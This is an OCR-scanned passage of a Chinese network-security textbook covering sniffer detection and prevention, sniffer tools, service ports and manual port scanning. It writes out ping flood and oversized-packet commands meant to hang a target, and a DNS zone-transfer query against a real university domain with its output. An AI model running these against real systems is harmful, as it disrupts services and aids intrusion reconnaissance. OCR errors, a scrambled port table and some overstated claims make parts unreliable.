(2) 确保 链 路 的 保密 与 完好 : 防止 未 经 授权 的 用 户 读 取 、 引 入 或 更 改 在 网 络 上 传输 的 
数据 。 

(3) 防止 阻 断 服务 攻击 : 确保 没有 一 个 用 户 或 一 小 批 用 户 可 占用 某 个 接 入 点 的 所 有 可 
用 带宽 ,而 阻 断 其 他 用 户 的 正当 接 和 人 。 


6.2.3 网 络 监听 检测 


网 络 监听 本 来 是 为 了 管理 网 络 ,监视 网 络 的 状态 和 数据 流动 情况 ,但 是 由 于 它 能 有 效 地 
截获 网 上 的 数据 ,因此 也 成 了 网 上 黑客 使 用 得 最 多 的 方法 。 有 一 个 前 提 条 件 , 那 就 是 监听 只 
能 是 同一 网 段 的 主机 ,这 里 同一 网 段 是 指 物理 上 的 连接 。 因 为 不 是 同一 网 段 的 数据 包 , 在 网 
关 就 被 滤 掉 , 传 不 到 该 网 段 来 。 否 则 一 个 Internet 上 的 一 台 主 机 , 便 可 以 监视 整个 
Internet 了 。 

网 络 监听 最 有 用 的 是 获得 用 户口 令 。 当 前 ,网 上 的 数据 绝 大 多 数 是 以 明文 的 形式 传输 ， 
而 且 口 令 通常 都 很 短 且 容易 辨认 。 当 口令 被 截获 , 则 可 以 非常 容易 地 登 上 另 一 台 主 机 。 

网 络 监听 的 检测 是 非常 困难 的 。 当 某 一 危险 用 户 运 行 网 络 监听 软件 时 ,可 以 通过 
ps -ef 或 ps -aux 命令 来 发 现 。 然 而 , 当 该 用 户 暂时 修改 了 ps 命令 , 则 也 是 很 难 发 现 的 。 能 
够 运行 网 络 监听 软件 ,说 明 该 用 户 已 经 具有 了 超级 的 用 户 权限 ,他 可 以 修改 任何 系统 命令 文 
件 ,来 掩盖 自己 的 行踪 。 其 实 修改 ps 命令 只 需 短 短 数 条 shell 命令 ,将 监听 软件 的 名 字 过 滤 
掉 即 可 。 

另外 , 当 系 统 运行 网 络 监听 软件 时 ,系统 会 因为 负荷 过 重 ,对 外 界 的 响应 很 慢 。 但 也 不 
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能 仅仅 因为 一 个 系统 响应 过 慢 而 怀疑 其 正在 运行 网 络 监听 软件 。 

下 面 介绍 几 种 检测 网 络 监听 的 方法 。 

方法 一 : 对 于 怀疑 运行 监听 程序 的 机 器 ,用 正确 的 IP 地 址 和 错误 的 物理 地 址 去 ping， 
运行 监听 程序 的 机 器 会 有 响应 。 这 是 因为 正常 的 机 器 不 接收 错误 的 物理 地 址 ,外 于 监听 状 
态 的 机 器 能 接收 ,如 果 他 的 IP stack 不 再 次 反 向 检查 的 话 ,就 会 响应 。 这 种 方法 依赖 于 系统 
工程 的 IP stack ,对 一 些 系统 可 能 行 不 通 。 

方法 二 : 往 网 上 发 大 量 不 存在 的 物理 地 址 的 包 , 由 于 监听 程序 将 处 理 这 些 包 ,将 导致 性 
能 下 降 。 可 以 通过 比较 前 后 该 机 器 性 能 (icmp echo delay 等 方法 ) 加 以 判断 。 这 种 方法 难度 
比较 大 。 

还 有 一 种 检查 监听 程序 的 办 法 是 搜索 主机 上 运行 的 所 有 进程 。 

在 Windows 系统 下 , 按 Ctrl 十 Alt 十 Del 键 ,看 一 下 任务 列表 。 不 过 ,编程 技巧 高 的 监听 
程序 即使 正在 运行 ,也 不 会 出 现在 这 里 的 。 

在 UNIX 下 ,可 以 用 下 列 命令 : ps -aun 或 ps -augx。 这 个 命令 产生 一 个 包括 所 有 进程 
的 清单 (进程 的 属性 .这 些 进程 占用 的 CPU 时 间 以 及 占用 的 内 存 等 )。 这 些 输 出 在 
STDOUT 上 ,以 标准 表 的 形式 输出 。 如 果 一 个 进程 正在 运行 , 它 就 会 被 列 在 这 张 清单 中 ( 除 
非 ps 或 其 他 程序 变 成 了 一 个 特洛伊 木马 程序 ) 。 

另外 一 种 办 法 就 是 去 搜 监听 程序 ,现在 只 有 几 种 监听 程序 。 入 侵 者 很 可 能 使 用 的 是 一 
个 免费 软件 。 在 这 种 情况 下 ,管理 员 就 可 以 检查 目录 , 找 出 监听 程序 ,但 这 很 困难 而 且 很 费 
时 间 。 目 前 , 尚 不 知道 有 哪 种 工具 可 以 做 到 这 一 点 。 在 UNIX 系统 上 ,人 们 可 能 不 得 不 自 
己 编写 一 个 程序 。 另 外 ,如 果 监 听 程 序 被 换 成 另 一 个 名 字 , 管 理 员 也 不 可 能 找到 这 个 监听 
程序 。 

还 有 许多 工具 ,能 用 来 查看 系统 会 不 会 工作 在 promiscuous 模式 , 从 而 发 现 是 否 有 
Sniffer 程序 在 运行 。 

最 近 ,Internet 网 络 上 介绍 了 一 种 发 现 网 络 监 听 者 的 新 方法 , 它 的 原理 是 当 一 台 主 机 处 
于 监听 状态 时 ,由 于 要 接收 网 络 上 的 所 有 数据 帧 ,会 负担 很 重 , 例 如 ,网 卡 处 于 promiscuous 
模式 ,对 于 TCP/IP 协议 中 的 IGMP,ARP 等 协议 没有 反应 (不 同 的 系统 有 不 同 的 反应 或 反 
应 很 慢 ) ,通过 对 这 些 的 测试 就 可 以 知道 对 方 的 主机 状态 ,从 而 发 现 监听 者 。 现 在 实现 这 项 
功能 的 Antisniff 程序 已 被 开发 出 来 , 感 兴趣 的 读者 可 上 Internet 网 下 载 。 


6.2.4 网 络 监听 防范 


要 防止 监听 并 不 困难 ,有 许多 可 以 选用 的 方法 ,但 关键 是 需要 增加 系统 开销 。 下 面 介绍 
防范 网 络 监听 的 几 种 方法 。 

1. 使 用 加 密 技术 

一 般 来 讲 , 人 们 真正 关心 的 是 那些 秘密 数据 (例如 ,用 户 名 和 口令 ) 的 安全 传输 ,不 被 监 
听 和 偷 换 。 如 果 这 些 信 息 是 以 明文 的 形式 传输 的 ,这 就 很 容易 被 窃取 而 且 阅 读 出 来 。 加 密 
是 解决 这 个 问题 的 方法 ,而 且 效 率 很 高 。 数 据 经 过 加 密 后 ,通过 监听 仍然 可 以 得 到 传送 的 信 
息 , 但 显示 的 是 乱码 。 使 用 加 密 技术 的 缺点 是 影响 数据 传输 速度 以 及 使 用 一 个 弱 加 密 术 比 
较 容易 被 攻破 。 系 统管 理 员 和 用 户 需 要 在 网 络 速度 和 安全 性 上 进行 折 中 。 

加 密 一 般 采 用 SSH,SSH 又 叫 Secure Shell, 是 一 个 在 应 用 程序 中 提供 安全 通信 的 协 
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议 。 它 是 建立 在 客户 机 /服务 器 模型 上 的 。SSH 服务 器 分 配 的 端口 是 22 。 连 接 是 通过 使 用 
一 种 来 自 RSA 的 算法 建立 的 。 在 授权 完成 后 , 接 下 来 的 通信 数据 是 用 IDEA 技术 来 加 密 
的 。 这 种 加 密 技术 通常 是 较 强 的 ,适合 于 任何 非 秘 密 的 通信 。 

SSH 后 来 发 展 成 为 FSSH ,提供 了 高 层次 的 军 方 级 别 的 对 通信 过 程 的 加 密 。 它 为 通过 
TCP/IP 网 络 通信 提供 了 通用 的 最 强 的 加 密 。 

如 果 某 个 站 点 使 用 F-SSH, 用 户 名 和 口令 就 变 得 不 是 很 重要 了 。 目前 ,还 没有 人 突破 
过 这 种 加 密 方法 。 即 使 是 监听 ,收集 到 的 信息 将 不 再 有 价值 。 当 然 最 关键 的 是 怎样 使 用 
SSH 和 F-SSH 加 密 方 法 。SSH 和 FF-SSH 都 有 商业 或 自由 软件 版 本 存在 。 

2. 从 逻辑 或 物理 上 对 网 络 分 段 

另 一 个 比较 容易 实现 的 防止 监听 的 方法 是 使 用 安全 的 网 络 拓扑 结构 。 网 络 分 段 通常 被 
认为 是 控制 网 络 广播 风暴 的 一 种 基本 手段 ,但 其 实 也 是 保证 网 络 安全 的 一 项 措施 。 其 目的 
是 将 非法 用 户 与 敏感 的 网 络 资源 相互 隔离 ,从 而 防止 可 能 的 非法 监听 。 有 一 种 智力 游戏 , 它 
通常 由 一 系列 数字 组 成 。 游 戏 的 目的 是 要 安排 好 数字 ,用 最 少 的 步骤 ,把 它们 按 递减 顺序 排 
好 。 处 理 网 络 拓扑 结构 就 和 玩 这 个 游戏 一 样 。 下 面 是 一 些 规则 。 

一 个 网 络 段 必 须 有 足够 的 理由 才能 信任 另 一 网 络 段 。 网 络 段 应 该 在 考虑 的 数据 之 间 的 
信任 关系 上 来 设计 ,而 不 是 按 网 络 硬件 需要 来 建立 。 一 个 网 络 段 是 仅 由 能 互相 信任 的 计算 
机 组 成 的 ,通常 它们 在 同一 个 房间 里 ,或 在 同一 个 办 公 室 里 。 比 如 财务 信息 ,应 该 固定 在 建 
筑 的 某 一 部 分 里 。 注 意 : 每 台 机 器 是 通过 硬 连接 线 接 到 Hub 上 ,Hub 再 接 到 交换 机 上 。 由 
于 网 络 分 段 了 ,数据 包 只 能 在 这 个 网 段 上 监听 ,其 余 的 网 段 将 不 可 能 被 监听 。 所 有 的 问题 都 
归结 到 信任 上 面 ,计算 机 为 了 和 其 他 计算 机 进行 通信 , 它 就 必须 信任 那 台 计算 机 。 作 为 系统 
管理 员 的 工作 是 构造 一 个 策略 ,使 得 计算 机 之 间 的 信任 关系 很 小 。 这 样 就 建立 了 一 种 框架 ， 
告诉 自己 什么 时 候 放 置 了 一 个 监听 器 , 它 放 在 哪里 了 ,是 谁 放 的 等 。 如 果 局 域 网 要 和 
Internet 相连 ,仅仅 使 用 防火 墙 是 不 够 的 。 和 侵 者 已 经 能 从 一 个 防火 墙 后 面 扫描 ,并 探测 正 
在 运行 的 服务 。 要 关心 的 是 一 旦 人 侵 者 进入 系统 ,能 得 到 些 人 什么。 必须 考虑 一 条 这 样 的 路 
径 , 即 信任 关系 有 多 长 。 举 个 例子 ,假设 你 的 Web 服务 器 对 某 一 计算 机 A 是 信任 的 ,那么 
有 多 少 计算 机 是 A 信任 的 呢 ? 又 有 多 少 计 算 机 是 受 这 些 计 算 机 信任 的 呢 ? 用 一 句 话 概括 
就 是 确定 最 小 信任 关系 的 那 台 计算 机 。 在 信任 关系 中 ,这 台 计 算 机 之 前 的 任何 一 台 计 算 机 
都 可 能 对 你 的 计算 机 进行 攻击 并 成 功 。 你 的 任务 就 是 保证 一 旦 出 现 了 监听 器 , 它 只 对 最 小 
范围 有 效 。 

3. 以 交换 式 集 线 器 代替 共享 式 集线器 

对 局 域 网 的 中 心 交 换 机 进行 网 络 分 段 后 ,局 域 网 监听 的 危险 仍然 存在 。 这 是 因为 网 络 
最 终 用 户 的 接 入 往往 是 通过 分 支 集 线 器 而 不 是 中 心 交 换 机 ,而 使 用 最 广泛 的 分 支 集线器 通 
常 是 共享 式 集线器 。 这 样 , 当 用 户 与 主机 进行 数据 通信 时 ,两 台 机 器 之 间 的 数据 包 ( 称 为 单 
播 包 unicast packet) 还 是 会 被 同一 台 集 线 器 上 的 其 他 用 户 所 监听 。 

因此 ,应 该 以 交换 式 集 线 器 代替 共享 式 集线器 ,使 单 播 包 仅 在 两 个 节点 之 间 传 送 ,从 而 
防止 非法 监听 。 当 然 , 交 换 式 集线器 只 能 控制 单 播 包 而 无 法 控制 广播 包 (broadcast packet) 
和 多 播 包 (moulticast packet) 。 但 广播 包 和 多 播 包 内 的 关键 信息 ,要 远 远 少 于 单 播 包 。 

4. 划分 VLAN 

运用 VLAN( 虚 拟 局 域 网 ) 技 术 , 将 以 太 网 通信 变 为 点 到 点 通信 ,可 以 防止 大 部 分 基于 
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网 络 监 听 的 入 侵 。 

监听 往往 是 攻击 者 在 侵入 系统 后 使 用 的 ,用 来 收集 有 用 的 信息 。 因 此 ,防止 系统 被 突破 
是 关键 。 系 统 安全 管理 员 要 定期 对 所 管理 的 网 络 进行 安全 测试 ,防止 出 现 安全 隐患 。 同 时 
要 控制 拥有 相当 权限 的 用 户 的 数量 。 请 注意 : 许多 攻击 往往 来 自 网 络 内 部 。 

一 般 能 够 实现 的 击败 网 络 监 听 的 方法 是 使 用 安全 的 拓扑 结构 。 这 种 技术 通常 被 称 为 分 
段 技术 。 将 网 络 分 成 一 些小 的 网 络 ,每 一 网 段 的 集线器 被 连接 到 一 个 交换 器 上 (switch ) 。 
因为 网 段 是 硬件 连接 的 ,因而 , 包 只 能 在 该 子 网 的 网 段 内 被 监听 工具 截获 。 这 样 ,网 络 中 剩 
余 的 部 分 (在 不 同一 网 段 的 部 分 ) 就 被 保护 了 。 


6.2.5 网 络 监听 工具 Sniffer 


Sniffer 就 是 能 够 捕获 网 络 报 文 的 设备 。Sniffer 的 正当 用 处 在 于 分 析 网 络 的 流量 ,以 便 
找 出 所 关心 的 网 络 中 潜在 的 问题 。 例 如 ,假设 网 络 的 某 一 段 运行 得 不 是 很 好 , 报 文 的 发 送 比 
较 慢 ,而 又 不 知道 问题 出 在 什么 地 方 , 此 时 就 可 以 用 Sniffer 来 做 出 精确 的 问题 判断 。 不 同 
的 Sniffer 在 功能 和 设计 方面 有 很 多 不 同 。 有 些 只 能 分 析 一 种 协议 ,而 有 一 些 可 能 能 够 分 析 
几 百 种 协议 。 一 般 情 况 下 ,大 多 数 的 Sniffer 至 少 能 够 分 析 下 面 的 协议 : 标准 以 太 网 .TCP/ 
IP .IPX .DECNet。 

Sniffer 与 一 般 的 键盘 捕获 程序 不 同 。 键 盘 捕获 程序 捕获 在 终端 上 输入 的 键 值 , 而 
Sniffer 则 捕获 真实 的 网 络 报 文 。Sniffer 通过 将 其 置身 于 网 络 接口 来 达到 这 个 目的 ,例如 将 
以 太 网 卡 设置 成 promiscuous 模式 。 

Sniffer 分 为 软件 和 硬件 两 种 ,软件 的 Sniffer 有 Sniffer Pro, Network Monitor， 
PacketBone 等 ,其 优点 是 : 易于 安装 部 署 ,易于 学 习 使 用 ,同时 也 易于 交流 ;缺点 是 : 无 法 抓 
取 网 络 上 所 有 的 传输 , 某 些 情况 下 也 就 无 法 真正 了 解 网 络 的 故障 和 运行 情况 。 硬 件 的 
Sniffer 通常 称 为 协议 分 析 仪 ,一 般 都 是 商业 性 的 ,价格 也 比较 昂贵 ,但 具备 支持 各 类 扩展 的 
链 路 捕获 能 力 以 及 高 性 能 的 数据 实时 捕获 分 析 的 功能 。 

基于 以 太 网 络 监听 的 Sniffer 只 能 抓 取 一 个 物理 网 段 内 的 包 , 就 是 说 ,安装 有 Sniffer 的 
设备 和 监听 的 目标 设备 中 间 不 能 有 路 由 或 其 他 屏蔽 广播 包 的 设备 。 所 以 ,对 一 般 拨号 上 网 
的 用 户 来 说 ,是 不 可 能 利用 Sniffer 来 窃听 到 其 他 人 的 通信 内 容 的 。 

当 黑 客 成 功 地 攻陷 了 一 台 主 机 ,并 拿 到 了 root 权限 ,而且 还 想 利 用 这 人 台 主 机 去 攻击 同 
一 (物理 ) 网 段 上 的 其 他 主机 时 ,他 就 会 在 这 台 主 机 上 安装 Sniffer 软件 ,对 以 太 网 设备 上 传 
送 的 数据 包 进行 侦 听 ,从 而 发 现 感 兴趣 的 包 。 如 果 发 现 符合 条 件 的 包 , 就 把 它 存 到 一 个 Log 
文件 中 去 。 通 常设 置 的 这 些 条 件 是 包含 字 “username” 或 “password” 的 包 , 这 样 的 包 里 面 通 
常 有 黑客 感 兴趣 的 密码 之 类 的 东西 。 一 旦 黑客 截获 了 某 台 主机 的 密码 ,他 就 会 立刻 进入 这 
台 主 机 。 

如 果 Sniffer 运行 在 路 由 器 上 或 有 路 由 功能 的 主机 上 ,就 能 对 大 量 的 数据 进行 监控 , 因 
为 所 有 进出 网 络 的 数据 包 都 要 经 过 路 由 器 。 

Sniffer 属于 第 M 层次 的 攻击 。 就 是 说 ,只 有 在 攻击 者 已 经 进入 了 目标 系统 的 情况 下 ， 
才能 使 用 Sniffer 这 种 攻击 手段 ,以 便 得 到 更 多 的 信息 。 

Sniffer 除了 能 得 到 口令 或 用 户 名 外 ,还 能 得 到 更 多 的 其 他 信息 ,比如 在 网 上 传送 的 金 
融 信 息 等 。Sniffer 几乎 能 得 到 任何 在 以 太 网 上 传送 的 数据 包 。 
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Sniffer 被 Network General 公司 注册 为 商标 ,这 家 公司 以 出 品 Sniffer Pro 系列 产品 而 
知名 。 目 前 最 新 版 本 为 Sniffer Portable 4.9, 这 类 产品 通过 网 络 监 听 这 一 技术 ,对 数据 协议 
进行 捕获 和 解析 ,能 够 大 大 帮助 故障 诊断 和 网 络 应 用 性 能 的 分 析 鉴 别 。 


6.3 端口 扫描 


在 TCP/IP 网 络 协议 中 有 一 个 重要 的 概念 一 一 端口 , 它 是 为 运行 在 计算 机 上 的 各 种 服 
务 提供 的 服务 端口 ,计算 机 通过 端口 进行 通信 和 提供 服务 。 一 台 拥 有 IP 地址 的 主机 可 以 提 
供 多 种 服务 ,比如 Web 服务 .FTP 服务 .SMTP 服务 等 ,这 些 服务 完全 可 以 通过 1 个 IP 地 
址 来 实现 。 那 么 ,主机 是 怎样 区 分 不 同 的 网 络 服务 呢 ? 显 然 不 能 只 靠 IP 地 址 ,因为 IP 地 址 
与 网 络 服务 的 关系 是 一 对 多 的 关系 。 实 际 上 是 通过 “IP 地 址 十 端口 号 ”来 区 分 不 同 的 服务 
的 。 在 计算 机 网 络 中 ,每 个 特定 的 服务 都 在 特定 的 端口 侦 听 , 当 用 户 有 数据 到 达 , 计 算 机 检 
查 数据 包 中 的 端口 号 ,再 根据 端口 号 将 它 发 向 特定 的 端口 ,在 这 个 特定 端口 侦 听 的 服务 就 接 
收 数据 ,再 把 数据 提供 给 网 络 的 上 一 层 ( 网 络 应 用 层 ) 。 例 如 要 发 送 一 封 Email 乡 给 远方 的 邮 
件 服务 器 ,那么 数据 就 会 带 上 E-mail 服务 的 端口 号 “25”, 然 后 传递 到 目的 服务 器 。 这 时 目 
DO “25” 号 端口 进行 侦 听 , 它 看 到 有 数据 到 达 ,就 把 数据 接收 下 
来 , 传 给 应 用 层 。 每 个 服务 协议 都 有 自己 的 端口 号 ,如 FTP 协议 的 端 号 为 “21”,WWW 协 
议 的 端 号 为 “80” 等 。 

TCP/IP 体系 结构 中 应 用 层 常 用 协议 以 及 默认 端口 有 如 下 几 种 : 
域名 系统 CDNS) : 用 于 为 IP 地 址 进行 名 字 解 析 。DNS 使 用 端口 53。 在 访问 一 个 
Web 站 点 前 ,其 Web 站 点 必须 解析 为 IP 地 址 ,DNS 就 是 提供 这 种 解析 。 
文件 传输 协议 (FTP) : 用 于 本 地 计算 机 与 远程 计算 机 之 间 的 文件 下 载 或 上 传 。FTP 
协议 在 服务 器 上 使 用 端口 21 ,在 客户 端 使 用 端口 20。 
动态 主机 配置 协议 (DHCP): 用 于 向 客户 动态 分 配 IP 地 址 。DHCP 协议 在 服务 器 
上 使 用 端口 67 ,在 客户 端 使 用 端口 68。 
简单 邮件 传输 协议 (SMTP): 用 于 传输 电子 邮件 ,使 用 端口 25 。 
邮局 协议 (POP3) : 用 于 接收 电子 邮件 。POP3 协议 使 用 端口 110。 
Telnet: Telnet 是 用 于 登录 远程 计算 机 的 终端 仿真 程序 ,使 用 端口 23 。 
超 文 本 传输 协议 (HTTP): 用 于 访问 Web 网 站 ,使 用 端口 80。 
安全 套 接 字 协议 层 (SSL) : SSL 用 于 在 服务 器 和 客户 之 间 安 全 地 传输 数据 ,使 用 端 
口 443 。 
网 络 基 本 输入 输出 系统 (NetBIOS): 用 于 名 字 解 析 。Microsoft 网 络 环境 中 ， 
NetBIOS 使 用 端口 137,138,139 解析 计算 机 名 字 。 

具体 见 表 6-1。 

一 个 端口 就 是 一 个 潜在 的 通信 通道 ,也 就 是 一 个 人 侵 通 道 。 入 侵 者 通常 会 用 扫描 器 
对 目标 主机 的 端口 进行 扫描 ,以 确定 哪些 端口 是 开放 的 ,从 开放 的 端口 ,入 侵 者 可 以 知道 
目标 主机 大 致 提供 了 哪些 服务 ,进而 猜测 可 能 存在 的 漏洞 。 因 此 ,对 端口 的 扫描 可 以 帮 
助人 侵 者 更 好 地 了 解 目 标 主机 ,而 对 于 管理 员 , 扫 描 本 机 的 开放 端口 也 是 做 好 安全 防范 
的 第 一 步 。 
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表 6-1 通用 服务 端口 


协 议 协 议 端口 号 
Daytime 协议 DNS 协议 53 
文件 传输 协议 (FTP) 平凡 文件 传输 协议 (TFTP) 69 
Telnet 协议 Finger 协议 79 
SMTP 协议 WWW 协议 80 
时 间 协 议 POP3 协议 110 
Whois 协议 SSL 协议 443 


6.3.1 什么 是 端口 扫描 


端口 扫描 就 是 利用 某 种 程序 自动 依次 检测 目标 计算 机 上 的 所 有 端口 ,根据 端口 的 响应 
情况 判断 端口 上 运行 的 服务 。 对 目标 计算 机 进行 端口 扫描 ,能 得 到 许多 有 用 的 信息 。 进 行 
扫描 的 方法 有 很 多 ,可 以 是 手工 进行 扫描 ,也 可 以 用 端口 扫描 软件 进行 。 


6.3.2 手工 扫描 


在 手工 进行 扫描 时 ,需要 熟悉 各 种 命令 ,对 命令 执行 后 的 输出 进行 分 析 。 用 扫描 软件 进 
行 扫 描 时 ,许多 扫描 器 软件 都 有 分 析 数 据 的 功能 。 

通过 端口 扫描 ,可 以 得 到 许多 有 用 的 信息 ,从 而 发 现 系统 的 安全 漏洞 。 

下 面 首先 介绍 几 个 常用 网 络 命令 ,对 端口 扫描 原理 进行 介绍 。 

1. ping 命令 

ping 命令 经 常用 来 对 TCP/IP 网 络 进行 诊断 。 通 过 对 目标 计算 机 发 送 一 个 数据 包 , 让 
它 将 这 个 数据 包 返 送 回来 ,如 果 返 回 的 数据 包 和 发 送 的 数据 包 一 致 , 那 就 是 说 你 的 ping 命 
令 成 功 了 。 通 过 这 样 对 返回 的 数据 进行 分 析 ,就 能 判断 计算 机 是 否 开 着 ,或 者 这 个 数据 包 从 
发 送 到 返回 需要 多 少时 间 。 

ping 命令 的 基本 格式 : 

ping hostname 

其 中 hostname 是 目标 计算 机 的 地 址 。ping 还 有 许多 高 级 用 法 ,下面 就 是 一 个 例子 : 


C:>ping -f hostname 


这 条 命令 给 目标 机 器 发 送 了 大 量 的 数据 ,从 而 使 目标 计算 机 忙于 回应 。 存 Windows 系 
统 的 计算 机 上 ,使 用 下 面 的 方法 : 


C:\WINDOWS\ping -1 65510 www.hostname.com 


这 样 做 了 之 后 ,目标 计算 机 有 可 能 会 挂 起 来 或 重新 启动 。 由 于 使 用 -1 65510 选项 会 使 
系统 产生 一 个 巨大 的 数据 包 , 而 且 要 求 对 方 的 主机 返回 一 个 同样 大 小 的 数据 包 , 因 而 会 使 目 
标 计算 机 反应 不 过 来 。 

2. tracert 命令 
tracert 命令 用 来 跟踪 一 个 消息 从 一 台 计 算 机 到 另 一 台 计 算 机 所 走 的 路 径 ,比方 说 从 你 
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的 计算 机 走 到 浙江 信息 超市 。 在 DOS 窗口 下 .输入 命令 如 下 : 


C:\WINDOWS> tracert 202.96.102.4 

Tracing route to 202.96.102.4 over a maximum of 30 hops 

84 ms 82 ms 95 ms 202.96.101.57 

x#100 ms 95 ms 0fal.1-rtrl-a-hzl.zj.CN.NET [202.96.101.33] 
95 ms 90 msx 202.101.165.1 

90 ms 90 ms 90 ms 202.107.197.98 

95 ms 90 ms 99 ms 202.96.102.4 


Oo OD pc 


90 ms 95ms 100 ms 202.96.102.4 


Trace complete. 


上 面 的 这 些 输出 代表 的 含义 如 下 : 最 左边 的 数字 是 该 路 由 通过 的 计算 机 数目 ,如 “1”。 
“84 ms” 是 指向 那 台 计算 机 发 送 消 息 的 往返 时 间 ,单位 是 微 秒 (ms) 。 由 于 每 条 消息 每 次 来 
回 的 时 间 不 一 样 ,tracert 将 显示 3 次 来 回 时 间 。“ x* ”表示 来 回 时 间 太 长 ,tracert 将 这 个 时 
间 “ 忘 掉 了 ”。 在 时 间 信 息 到 来 后 ,计算 机 的 名 字 信 息 也 到 了 ,如 “202. 96. 101. 57”。 开 始 是 
一 种 便于 人 们 阅读 的 域名 格式 ,如 “0fal. 1-rtrl-a-hzl. zj. CN. NET”, 接 着 是 数字 格式 ,如 
“[ 202.96. T0133]>, 

3.host 命令 

host 是 一 个 UNIX 命令 , 它 的 功能 和 标准 的 nslookup 查询 一 样 。 唯 一 的 区 别 是 host 
命令 比较 容易 理解 。host 命令 的 危险 性 相当 大 ,下 面 举 个 使 用 实例 ,演示 一 次 对 bu. edu 的 
host 查询 。 


host -1 -v -t any bu.edu 


这 个 命令 的 执行 结果 所 得 到 的 信息 十 分 多 ,包括 操作 系统 、 机 器 和 网 络 的 很 多 数据 。 先 
看 一 下 基本 信息 : 


Found 1 addresses for BU.EDU 


Found 1 addresses for NSEGC .BU .EDU 
Trying 128.197.27.7 
bu.edu 86400 IN SOA BU.EDU HOSTMASTER .BU .EDU 


bu.edu 86400 IN A 128.197.27.7 


这 些 信息 本 身 并 没有 危险 ,只 是 一 些 机 器 和 它们 的 DNS 服务 器 的 名 字 。 这 些 信息 可 以 
用 WHOIS 或 在 注册 域名 的 站 点 中 检索 到 。 但 看 看 下 面 几 行 信息 : 


bu.edu 86400 IN HINFO SUN- SPARCSTATION- 10/41 UNIX 


ODIE.bu.edu 86400 IN HINFO DEC- ALPHA- 3000/300LX OSF1 


从 这 里 ,马上 就 发 现 一 台 DEC Alpha 运行 的 是 OSF1 操作 系统 。 再 看 看 : 
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STRAUSS .bu.edu 86400 IN HINFO PC- PENTIUM DOS/WINDOWS 
BURULLUS .bu.edu 86400 IN HINFO SUN- 3/50 UNIX (Ouch) 
GEORGETOWN .bu.edu 86400 IN HINFO MACINTOSH MAC-OS 
CABMAC .bu.edu 86400 IN HINFO MACINTOSH MAC-OS 
VIDUAL.bu.edu 86400 IN HINFO SGI- INDY IRIX 
BUPHYC.bu.edu 86400 IN HINFO VAX- 4000/300 OpenVMS 


可 见 , 任 何人 都 能 通过 在 命令 行 里 输入 一 个 命令 ,就 能 收集 到 一 个 域 里 的 所 有 计算 机 的 
重要 信息 ,而 且 只 花 了 3s 的 时 间 。 

利用 上 述 有 用 的 网 络 命令 ,可 以 收集 到 许多 有 用 的 信息 。 例 如 ,一 个 域 里 的 名 字 服 务 咒 
的 地 址 ,一 台 计 算 机 上 的 用 户 名 ,一 台 服 务 器 上 正在 运行 什么 服务 ,这 个 服务 是 由 哪个 软件 
提供 的 ,计算 机 上 运行 的 是 什么 操作 系统 等 。 


6.3.3 使 用 端口 软件 扫描 


1. 什么 是 扫描 器 

检测 网 络 系 统 所 用 的 自动 检测 程序 被 称 为 扫描 器 , 即 扫描 器 是 一 种 自动 检测 远程 或 本 
地 主机 安全 性 弱点 的 程序 。 通 过 使 用 扫描 器 ,可 以 不 留 痕迹 地 发 现 远 程 服务 器 的 各 种 TCP 
端口 的 分 配 及 提供 的 服务 和 它们 的 软件 版 本 ,这 就 能 间接 地 或 直观 地 了 解 到 远程 主机 所 存 
在 的 安全 问题 。 

对 黑客 来 讲 ,扫描 器 可 以 说 是 他 们 的 基本 武器 ,一 个 好 的 TCP 端口 扫描 器 相当 于 几 百 
个 合法 用 户 的 口令 及 密码 ;而 对 管理 员 来 讲 ,扫描 器 同样 具备 了 检查 漏洞 .提高 安全 性 的 重 
要 作用 。 

2. 扫描 器 工作 原理 

扫描 器 通过 选用 远程 TC/IP 不 同 的 端口 的 服务 ,并 记录 目标 给 予 的 回答 ,可 以 搜集 到 
很 多 关于 目标 主机 的 各 种 有 用 的 信息 。 例 如 ,是 否 能 用 匿名 登录 ,是 否 有 可 写 的 FTP 目录 ， 
是 否 能 用 TELNET 等 。 

3. 扫描 器 的 功能 

扫描 器 并 不 是 一 个 直接 攻击 网 络 漏洞 的 程序 , 它 不 同 于 许多 其 他 攻击 软件 。 它 仅仅 能 
帮助 发 现 目标 机 的 某 些 内 在 弱点 ,而 这 些 现存 的 弱点 可 能 是 破坏 目标 机 安全 的 关键 。 虽 然 
对 于 一 个 刚刚 入 门 的 黑客 来 说 ,这 些 数据 对 他 来 说 无 疑 是 一 个 毫 无 价值 的 数据 集合 ,但 是 ， 
对 一 个 掌握 和 精通 各 种 网 络 应 用 程序 漏洞 的 黑客 来 说 ,就 不 仅仅 是 一 个 简单 的 数据 集合 , 它 
的 价值 远 超过 几 百 个 有 用 的 账号 。 

4. 扫描 器 的 分 类 

扫描 器 按 对 象 的 不 同 可 以 分 为 本 地 扫描 器 和 远程 扫描 器 。 对 黑客 来 讲 使 用 更 多 的 是 远 
程 扫描 器 ,远程 扫描 器 也 可 以 用 来 扫描 本 地 主机 。 

如 果 按 照 扫描 的 目的 来 分 类 ,可 以 分 为 端口 扫描 器 和 漏洞 扫描 器 。 端 口 扫描 器 只 是 单 
纯 地 用 来 扫描 目标 机 开放 的 服务 端口 以 及 与 端口 相关 的 信息 。 常 见 的 端口 扫描 器 有 
nmap,portscan 等 ,这 类 扫描 器 并 不 能 给 出 直接 可 以 利用 的 漏洞 ,而 是 给 出 与 突破 系统 相关 
的 信息 。 这 些 信息 对 于 普通 人 来 说 也 许 是 极为 平常 的 ,丝毫 不 能 对 安全 造成 威胁 ,但 一 旦 到 
了 黑客 的 手 里 ,它们 就 成 为 突破 系统 所 必需 的 关键 信息 。 
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与 端口 扫描 相 比 ,漏洞 扫描 器 更 为 直接 , 它 检查 扫描 目标 中 可 能 包含 的 大 量 已 知 的 漏 
洞 ,如 果 发 现 潜在 的 漏洞 可 能 性 ,就 报告 给 扫描 者 。 这 种 扫描 器 的 威胁 性 极 大 ,因为 黑客 可 
以 利用 扫描 器 的 结果 进行 攻击 。 

如 前 所 述 ,使 用 端口 扫描 的 目的 是 要 得 到 目标 计算 机 的 操作 系统 .服务 和 应 用 程序 的 情 
况 ,如果 知 道 目标 计算 机 上 运行 的 操作 系统 、 服 务 和 应 用 程序 后 ,就 能 利用 已 经 发 现 的 它们 
的 漏洞 来 进行 攻击 。 如 果 目 标 计算 机 的 网 络 管理 员 没 有 对 这 些 漏洞 及 时 修补 的 话 , 入 侵 者 
能 轻而易举 地 部 人 该 系统 ,获得 管理 员 权限 ,并 留 下 后 门 。 

